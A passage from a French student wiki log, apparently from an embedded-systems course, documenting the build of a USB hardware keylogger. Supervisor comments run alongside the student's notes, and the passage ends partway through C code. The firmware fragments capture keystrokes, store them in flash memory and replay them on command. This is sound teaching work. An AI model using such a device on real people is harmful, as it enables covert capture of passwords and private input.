Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]]&amp;lt;ref&amp;gt;[[:Fichier:Video-atmega16u2-usb.mp4|Video-atmega16u2-usb]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu je te vois taper sur ton clavier ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 3&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Fichier :&amp;lt;/u&amp;gt; [[:Fichier:MassStoragePeiP.zip|Archive Code_AT90USB]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Question :&amp;lt;/u&amp;gt; Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel. &lt;br /&gt;
&lt;br /&gt;
Update : Tout fonctionne concernant l'AT90USB647, les LEDS avaient été soudées à l'envers.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 4&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.&lt;br /&gt;
&lt;br /&gt;
ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;MassStorage :&amp;lt;/u&amp;gt;'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.&lt;br /&gt;
&lt;br /&gt;
ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.&lt;br /&gt;
&lt;br /&gt;
Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.&lt;br /&gt;
&lt;br /&gt;
'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).&lt;br /&gt;
&lt;br /&gt;
ReX : Oui :)&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;KeyboardHost :&amp;lt;/u&amp;gt;'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.&lt;br /&gt;
&lt;br /&gt;
ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.&lt;br /&gt;
&lt;br /&gt;
Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.&lt;br /&gt;
&lt;br /&gt;
ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.&lt;br /&gt;
&lt;br /&gt;
Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.&lt;br /&gt;
&lt;br /&gt;
Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?&lt;br /&gt;
&lt;br /&gt;
ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :&amp;lt;/s&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.&lt;br /&gt;
&lt;br /&gt;
D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.&lt;br /&gt;
&lt;br /&gt;
ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
// Et ça m'affiche le caractère A sur l'écran LED&lt;br /&gt;
putchar('A');&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Arduino-LCD &amp;amp; At90.jpg|centré|vignette|Montage Arduino/LCD &amp;amp; KeyLogger]]&lt;br /&gt;
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.&lt;br /&gt;
&lt;br /&gt;
ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?&lt;br /&gt;
&lt;br /&gt;
Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.&lt;br /&gt;
&lt;br /&gt;
ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.&lt;br /&gt;
&lt;br /&gt;
'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)&lt;br /&gt;
&lt;br /&gt;
J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.&lt;br /&gt;
&lt;br /&gt;
Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un arduino qui ne fonctionne plus.&lt;br /&gt;
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]&lt;br /&gt;
&lt;br /&gt;
ReX : Excellent, ce n'est pas rare de détruire une LED en la désoudant, c'est fragile, bravo pour la rectification.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 5&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
==== Mémoire ====&lt;br /&gt;
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Vidéo test mémoire par commande&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Le programme chargé sur le Wiki (MémoireB2) ne correspond pas à la démonstration. Mais très jolie vidéo de démonstration du test de l'ID.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Effectivement, je voulais juste référencer l'archive où l'on pouvait trouver la librairie pour la flash.&lt;br /&gt;
&lt;br /&gt;
Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écrit dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Test mémoire en écriture et lecture&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].&lt;br /&gt;
&lt;br /&gt;
J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.&lt;br /&gt;
&lt;br /&gt;
ReX : Très jolie vidéo de démonstration (et code de la précédente démonstration trouvé dans le code lié à la seconde).&lt;br /&gt;
&lt;br /&gt;
==== Gestion clavier USB ====&lt;br /&gt;
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]]&amp;lt;ref&amp;gt;Vidéo démo du programme KeyboardHost sur l'AT90&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Très bonne vidéo de démonstration. Le programme correspondant est donné un peu après.&lt;br /&gt;
&lt;br /&gt;
On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.&lt;br /&gt;
&lt;br /&gt;
Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur&amp;lt;ref name=&amp;quot;:0&amp;quot; group=&amp;quot;Code associé&amp;quot;&amp;gt;Configuration de l'horloge&amp;lt;/ref&amp;gt;. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].&lt;br /&gt;
&lt;br /&gt;
ReX : Marche pas bien la balise ref ... (tentative de correction par ajout d'une balise references en fin de page).&lt;br /&gt;
&lt;br /&gt;
En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrivais pas encore à récupérer les touches tapées via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, j'ai enregistré une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]]&amp;lt;ref&amp;gt;Vidéo AT90 et Arduino/LCD qui récupère les caractères&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Excellente vidéo de démonstration, le code est donné avant pour une fois.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui j'ai essayé de lier l'AT90 et l'ATMega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Vidéo démo Clavier -&amp;gt; AT90 (USART) -&amp;gt; ATMEGA -&amp;gt; PC&amp;lt;/ref&amp;gt;. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai légèrement modifiés pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoi de caractère pour envoyer directement le code HID obtenu via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).&lt;br /&gt;
&lt;br /&gt;
On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'ATMega et l'AT90.&lt;br /&gt;
&lt;br /&gt;
ReX : Excellente vidéo de démonstration. Le code est donné pas trop loin de la vidéo. Pour que les touches modificatrices puissent être utilisées, il suffirait d'envoyer deux octets par liaison série : les modificateurs et la première touche (il serait même possible d'envoyer l'ensemble des touches, il faudrait seulement prendre soin d'envoyer un octet de préambule style 0xff pour synchroniser les blocs de données série).&lt;br /&gt;
&lt;br /&gt;
Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'anciens élèves. Comme quoi la librairie LUFA est vraiment complète et fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
ReX : Très bonne autocritique, vous avez su prendre du recul sur l'EC.&lt;br /&gt;
&lt;br /&gt;
J'attaque désormais l'implémentation de la mémoire sur l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner d'envoyer tous les caractères lu.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour la mise en mémoire des touches tapés, j'ai essayé de faire comme ci-dessous :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
	CLKPR = (1&amp;lt;&amp;lt;CLKPCE);&lt;br /&gt;
	CLKPR = 0;&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
&lt;br /&gt;
	SetupHardware();&lt;br /&gt;
&lt;br /&gt;
	puts_P(PSTR(ESC_FG_CYAN &amp;quot;Keyboard HID Host Demo running.\r\n&amp;quot; ESC_FG_WHITE));&lt;br /&gt;
&lt;br /&gt;
	LEDs_SetAllLEDs(LEDMASK_USB_NOTREADY);&lt;br /&gt;
	GlobalInterruptEnable();&lt;br /&gt;
&lt;br /&gt;
	/* Variable for the AT45DB641E */&lt;br /&gt;
	int page_start  		 = 0;&lt;br /&gt;
	int page_actual 		 = page_start;&lt;br /&gt;
	int page_buffer_size = 0;&lt;br /&gt;
&lt;br /&gt;
	for (;;)&lt;br /&gt;
	{&lt;br /&gt;
		KeyboardHost_Task(&amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
        Flash_Task(&amp;amp;page_start, &amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
		USB_USBTask();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// ...&lt;br /&gt;
&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
    // ...&lt;br /&gt;
    /* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
	if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
		 *page_buffer_size = 0;&lt;br /&gt;
		(*page_actual)++;&lt;br /&gt;
	}&lt;br /&gt;
    &lt;br /&gt;
    /* AT45DB641E communication  */&lt;br /&gt;
    /* Recup of the data of the actual page to re-write on */&lt;br /&gt;
    unsigned char data[FLASH_PAGE_SIZE];&lt;br /&gt;
    AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the Modifier and Keycode in the array */&lt;br /&gt;
    data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
    &lt;br /&gt;
    /* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
    AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
    AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
    &lt;br /&gt;
    /* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
    while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
    	LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
    }&lt;br /&gt;
    LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
    &lt;br /&gt;
    /* Serial communication */&lt;br /&gt;
	Serial_SendByte(KeyCode);&lt;br /&gt;
	&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans ma logique, j'utilise trois variables : ''page_start'' qui est la page où l'on commence l'écriture, ''page_actual'' qui indique la page courante et ''page_buffer_size'' qui indique la taille courante du buffer de donnée, afin de trouver l'index de la touche à mémoriser dans le buffer, et ensuite dans la flash.&lt;br /&gt;
&lt;br /&gt;
L'algorithme est simple, on vérifie tout d'abord si la taille du buffer précédent est égale à la taille d'une page de la flash. Si oui, on réinitialise le compte sur la taille et on incrémente la page courante. Ensuite on récupère les données de la page courante afin de réécrire par dessus. On met les données dans le buffer qu'on écris ensuite dans la flash à la page ''page_actual''. Puis on attend que l'écriture est effectué pour passer à la tâche suivante qui est l'envoie de la touche tapé. (Edit: Dans le programme final, on envoie d'abord les touches puis on enregistre, mais je ne pense pas que ça change beaucoup au niveau de la performance)&lt;br /&gt;
&lt;br /&gt;
Du côté de l'Atmega c'est simple, il n'y a que la réception qui s'effectue et l'écriture dans le rapport.&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme je l'avais signalé dans la vidéo précédente, les données à propos des modifieurs (Shift, Control, etc) ne sont pas reçus. J'ai donc essayé d'inclure l'octet Modifier du rapport clavier, mais sans succès. J'ai essayé de trouver des solutions afin de synchroniser par exemple l'envoie et la réception, l'utilisation de la fonction ''Serial_SendData'' pour envoyé les deux octets (Modifieur et Code_Touche) en une fois, mais puisque la liaison USART est asynchrone, je crois bien que le problème est là. Je vais donc essayé de faire des fonctions de réceptions de paquet lorsque l'Atmega détecte la réception d'un octet.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;De plus, j'ai essayé d'utiliser les boutons de l'Atmega pour envoyer des octets de données à l'AT90 via liaison série, mais j'ai l'impression que celui-ci ne les reçois pas, ou du moins il ne récupère pas les bons octets (ca m'affiche toujours 0xFF).&amp;lt;/s&amp;gt; Edit: J'avais juste oublié d'appeler la fonction dans la boucle du main.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ci-dessous, on retrouve la fonction executée sur l'AT90 pour gérer la commande de la flash de la part de l'ATMEGA16U2 vers l'AT90USB647. &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(int *page_start, int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t Command_Byte = Serial_ReceiveByte();&lt;br /&gt;
		uint8_t Ending_Byte;&lt;br /&gt;
		do {&lt;br /&gt;
			Ending_Byte = Serial_ReceiveByte();&lt;br /&gt;
		} while((Ending_Byte != 0xFF) || (Ending_Byte == Command_Byte));&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_RESET)&lt;br /&gt;
		{&lt;br /&gt;
			*page_actual 			= *page_start;&lt;br /&gt;
			*page_buffer_size = 0;&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_GET)&lt;br /&gt;
		{&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
&lt;br /&gt;
			int address, j;&lt;br /&gt;
			for (address = (*page_start); address &amp;lt;= (*page_actual); address++)&lt;br /&gt;
			{&lt;br /&gt;
				AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
				for (j = 0; j &amp;lt; ((address == (*page_actual)) ? (*page_buffer_size) : FLASH_PAGE_SIZE); j += 2)&lt;br /&gt;
				{&lt;br /&gt;
					/* Communicating data by serial connection */&lt;br /&gt;
					while (!Serial_IsSendReady());&lt;br /&gt;
					Serial_SendByte(data[j]);&lt;br /&gt;
					Serial_SendByte(data[j+1]);&lt;br /&gt;
					while (!Serial_IsSendComplete());&lt;br /&gt;
					_delay_ms(50);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''&amp;lt;u&amp;gt;Explications :&amp;lt;/u&amp;gt;''' &lt;br /&gt;
&lt;br /&gt;
* Tout d'abord, on vérifie si il y'a un message sur la liaison série de l'ATMEGA vers l'AT90.&lt;br /&gt;
* Si oui, on lit l'octet de commande et on attends que la voie série soit vide.&lt;br /&gt;
* Ensuite on effectue une tâche selon le code:&lt;br /&gt;
** '''''SERIAL_FLASH_RESET''''' qui est 0x22 dans le programme final (valeur prise sans raison particulière) remet à zéro la mémoire de la flash afin d'enregistrer une nouvelle saisie.&lt;br /&gt;
** '''''SERIAL_FLASH_GET''''' qui est 0x23 dans le programme final (juste que j'aime bien le nombre 23) permet de récupérer les touches tapées et de les envoyer.&lt;br /&gt;
*** On parcourt toutes les pages qui ont pu être enregistrées.&lt;br /&gt;
*** On récupère les touches tapés sur la page.&lt;br /&gt;
*** On parcourt le tableau de deux en deux : On envoie la donnée à l'indice pair qui est le code de touche, et on envoie la donnée à l'indice impaire qui est le code modifieur (Shift, Control, etc...).&lt;br /&gt;
*** On laisse un court instant de délai afin de laisser le temps à l'ATMEGA de bien recevoir les octets de la touche enregistrée. (J'ai essayé avec des délais plus court, mais ça ne nous redonne pas correctement la liste enregistrée, des lettres sont passés si le délai est trop court)&lt;br /&gt;
&lt;br /&gt;
A la ligne 25 on peut observer un ternaire pour la condition de boucle. On regarde si l'adresse de page est égale à ''page_actual'' qui est en fait la dernière page enregistrée. Si oui, alors il faut interrompre l'indice j avant qu'elle ne dépasse la taille des données enregistrées sur la dernière page, sinon l'indice j parcourt ''FLASH_PAGE_SIZE'' fois le tableau de donnée récupéré.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Concernant la fonction de gestion de la flash du côté de l'ATMEGA :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(void)&lt;br /&gt;
{&lt;br /&gt;
	uint8_t ButtonStatus_LCL = Buttons_GetStatus();&lt;br /&gt;
&lt;br /&gt;
	/* Reset flash button */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON1){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_RESET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	/* Get all the flash */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON2){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_GET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On lit quel bouton est appuyé et on le compare pour ensuite envoyé une commande via la liaison série. On peut observer un délai juste avant l'envoie de la commande qui est nécessaire pour être sur de l'envoyer qu'une seule fois. Sans ce délai, les commandes se serait envoyés plusieurs fois (c'est du vécu), car en effet, les fonctions s'éxecute rapidement et le temps entre l'appui du bouton et son relâchement, il y'a sûrement quelques centaine de millième de seconde (je ne sais pas exactement le temps ecoulé entre chaque appuie et relâchement de bouton) qui se sont écoulés, ce qui laisse le temps à la fonction Flash_Task d'être executée plus d'une fois.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin, les fonctions d'écriture du rapport de clavier ont un peu changé pour inclure le code du modifieur. Pour l'ATMEGA, on peut observer l'ajout d'une boucle qui attend que l'on lit sur la liaison série un octet différent de 0xFF ou du code touche lu précédement :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t ReceivedByte;&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
		do {&lt;br /&gt;
			ReceivedByte = Serial_ReceiveByte();&lt;br /&gt;
		} while((ReceivedByte == 0xFF) || (ReceivedByte == ReportData-&amp;gt;KeyCode[0]));&lt;br /&gt;
&lt;br /&gt;
		ReportData-&amp;gt;Modifier = ReceivedByte;&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et pour l'AT90 on observe l'ajout d'un appel de la fonction d'envoie d'octet :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	//..&lt;br /&gt;
&lt;br /&gt;
		uint8_t KeyCode  = KeyboardReport.KeyCode[0];&lt;br /&gt;
		uint8_t Modifier = KeyboardReport.Modifier;&lt;br /&gt;
&lt;br /&gt;
		/* Check if a key has been pressed */&lt;br /&gt;
		if (KeyCode)&lt;br /&gt;
		{&lt;br /&gt;
			/* Toggle status LED to indicate keypress */&lt;br /&gt;
			LEDs_TurnOnLEDs(LEDS_LED2);&lt;br /&gt;
&lt;br /&gt;
			/* Serial communication */&lt;br /&gt;
